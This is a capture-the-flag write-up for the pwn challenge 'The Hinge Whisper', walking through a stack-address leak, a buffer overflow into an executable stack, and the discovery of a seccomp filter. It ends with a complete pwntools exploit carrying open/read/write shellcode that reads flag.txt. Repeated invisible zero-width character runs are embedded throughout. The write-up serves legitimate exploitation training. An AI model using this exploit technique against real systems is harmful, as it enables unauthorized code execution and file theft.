← Back to Writeups
CUSTOMMediumpwn

The Hinge Whisper

XESXOR9/2/20266 min read
#pwn#custom#medium#stack_buffer_overflow#buffer_address_leak_via_format#ret2shellcode_on_executable_st#seccomp_detection#orw_shellcode#linux

The Hinge Whisper

Platform: CACTF2026 | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-27 | Status: Solved Techniques: stack_buffer_overflow, buffer_address_leak_via_format_p, ret2shellcode_on_executable_stack, seccomp_detection, orw_shellcode

Summary

Task: PIE ELF64 with no canary, an executable stack (GNU_STACK RWX), a %p leak of the input buffer, and an 80-byte read into a 64-byte stack buffer. Solution: leak the buffer address, ret2shellcode into the executable stack; discover a seccomp filter blocks execve, pivot to an open/read/write (ORW) shellcode to read flag.txt.

The Hinge Whisper — CACTF2026

Description

The room shouldn't exist. Rin finds a hidden private library with an old strongbox that has a "hatch" built into its face. One lock stands between her and an answer behind this hatch.

Themed pwn challenge about forging a "latch-key" to open the "hatch". A single ELF64 binary is provided, plus a remote instance. The narrative wordplay maps directly onto pwn primitives:

  • hatch / keyway → the input buffer and the keyhole (leaked buffer address)
  • latch-key → the payload/shellcode we send
  • spine ("Perfect face, wrong spine") → the corruptible saved return address
  • escapement / "push deep enough" → overflowing far enough to reach saved RIP
  • "the hinge whispers to those who listen" → hint to read/write (ORW), not spawn a shell ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Recon

checksec / ELF headers on the_hinge_whisper:

  • ELF 64-bit LSB PIE executable, x86-64, dynamically linked, not stripped, GCC (Ubuntu 13.3.0).
  • Full RELRO, NO stack canary, PIE enabled.
  • GNU_STACK program header flags = 7 (RWX) ⇒ stack is executable (NX off).
  • .note.gnu.property contains SHSTK/IBT (CET) notes, but they are NOT enforced on the remote.
  • Functions of interest: main, banner, service_hatch.

The combination of "no canary + executable stack + a leaked stack address" is the classic setup for ret2shellcode under ASLR without a libc leak. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability analysis — service_hatch @ 0x11e3

Disassembly facts:

  • Input buffer lives at [rbp-0x40] ⇒ 64 bytes.
  • printf(" [+] The keyway sits at: %p\n", buf) leaks the stack address of the input buffer ("keyway" = keyhole). This defeats ASLR for the stack region.
  • read(0, buf, 0x50) reads 80 bytes into the 64-byte buffer ⇒ 16-byte overflow.

Stack layout to saved RIP:

[ buffer            ] 64 bytes   (offset 0..63)
[ saved rbp         ]  8 bytes   (offset 64..71)
[ saved RIP         ]  8 bytes   (offset 72..79)  <- overwritten

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

0x50 = 80 = 72 + 8 bytes ⇒ we control exactly one return-address slot and nothing beyond it. There is no room for a ROP chain, which forces the intended ret2shellcode-into-buffer solution.

Thematic rodata strings confirm the intended path:

  • "[*] But the spine... the spine is wrong. Perfect face, wrong spine." → saved return address is corruptible
  • "[*] The keyway accepts a custom latch-key. It looks shallow."
  • "[*] Push deep enough, and the escapement yields." → overflow to reach saved RIP
  • "[+] The keyway sits at: %p" → leaked buffer address
  • "[+] Forge your latch-key: " → send the payload
  • "[*] The lock clicks shut. Nothing happens." → the non-exploit return path ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exploitation

1. Leak + basic ret2shellcode

  1. Parse the leaked buffer address from "The keyway sits at: 0x7fff...".

  2. Place shellcode at the start of the buffer, pad with NOPs (0x90) up to offset 72, then set the return address = leaked buffer address, jumping back into our shellcode on the executable stack.

  3. Total payload is exactly 80 bytes:

    payload = shellcode + b"\x90"*(72 - len(shellcode)) + p64(leak_buffer_addr)   # len == 80
    

2. Seccomp discovery (the twist)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

A standard execve("/bin/sh") shellcode redirected RIP correctly (proven by a diagnostic write(1, ...) shellcode that echoed custom marker bytes to stdout) but produced no shell — execve is filtered.

Syscall probing (writing the raw syscall return value to stdout) revealed the filter shape:

  • openat2 → -EOPNOTSUPP-style error, creat → error.
  • open(2) returned fd = 5, and openat(257) returned fd = 5 — i.e. open/openat/read/write are ALLOWED, while execve is DENIED. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Conclusion: the sandbox uses a seccomp filter that blocks execve. The intended solution is an ORW (open/read/write) shellcode, not a shell — exactly what the flavor text ("the hinge whispers to those who listen") hinted.

3. ORW shellcode

Final shellcode (≤ 64 bytes so it fits before the saved-rbp/return region):

  • push 0 (NUL terminator); mov rax,'flag.txt'; push rax; mov rdi,rsp (path); xor esi,esi (O_RDONLY); push 2; pop rax; syscall → open("flag.txt") = fd
  • mov rdi,rax; mov rsi,rsp; mov dx,0x200; xor eax,eax; syscall → read(fd, buf, 0x200)
  • mov rdx,rax; push 1; pop rdi; push 1; pop rax; syscall → write(1, buf, n)
  • jmp $ — halt so output flushes before the process would otherwise crash. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Validated assembled bytes (50 bytes total):

6a00 48b8666c61672e747874 50 4889e7 31f6 6a02 58 0f05
4889c7 4889e6 66ba0002 31c0 0f05 4889c2 6a015f 6a0158 0f05 ebfe

Final exploit

python
#!/usr/bin/env python3
# The Hinge Whisper - CACTF2026 pwn - ret2shellcode (ORW, open/read/write allowed)
from pwn import *
import sys, time
context.arch = 'amd64'; context.log_level = 'info'
HOST, PORT = (sys.argv[1], int(sys.argv[2])) if len(sys.argv) > 2 else ("TARGET_HOST", 0)

fn = b"flag.txt"
sc  = bytes.fromhex("6a00")          # push 0 (NUL terminator)
sc += b"\x48\xb8" + fn + b"\x50"     # mov rax,'flag.txt'; push
sc += bytes.fromhex("4889e7")        # mov rdi,rsp (path)
sc += bytes.fromhex("31f6")          # xor esi,esi (O_RDONLY)
sc += bytes.fromhex("6a02")          # push 2
sc += bytes.fromhex("58")            # pop rax (open)
sc += bytes.fromhex("0f05")          # syscall -> fd
sc += bytes.fromhex("4889c7")        # mov rdi,rax
sc += bytes.fromhex("4889e6")        # mov rsi,rsp (buf)
sc += bytes.fromhex("66ba0002")      # mov dx,0x200
sc += bytes.fromhex("31c0")          # xor eax,eax (read)
sc += bytes.fromhex("0f05")          # syscall -> n
sc += bytes.fromhex("4889c2")        # mov rdx,rax
sc += bytes.fromhex("6a015f")        # push 1; pop rdi (fd=1)
sc += bytes.fromhex("6a0158")        # push 1; pop rax (write)
sc += bytes.fromhex("0f05")          # syscall
sc += bytes.fromhex("ebfe")          # jmp $
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

io = remote(HOST, PORT)
io.recvuntil(b'keyway sits at: ')
leak = int(io.recvline().strip(), 16)              # leak = buffer @ [rbp-0x40]
log.success("leak " + hex(leak))
payload = sc + b'\x90' * (72 - len(sc)) + p64(leak) # 64 buf + 8 rbp = 72 -> ret into shellcode
io.recvuntil(b'Forge your latch-key:')
io.send(payload)
time.sleep(1.2)
print(io.clean(timeout=3).decode(errors='replace'))
io.close()

Lessons / Key Indicators

Use this approach when:

  • A %p (or similar) leaks the input buffer's stack address, enabling ret2shellcode under ASLR without a libc leak.
  • GNU_STACK flags = RWX (executable stack) despite a modern toolchain; SHSTK/IBT notes may be present but unenforced remotely.
  • The read length exactly fits to overwrite a single return slot (e.g. 80-byte read into a 64-byte buffer ⇒ 72 pad + 8 RIP), leaving no room for ROP ⇒ shellcode-in-buffer is intended.
  • Your RIP-control probe (a write() marker shellcode) works but execve yields no shell ⇒ suspect a seccomp filter; enumerate allowed syscalls by writing raw return values to stdout, then pivot to ORW (open/read/write flag.txt).
  • Themed wordplay maps to primitives: hatch/keyway/latch-key/spine/escapement → buffer/leak/payload/saved-RIP/overflow-depth; "whispers to those who listen" → read/write instead of a shell. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍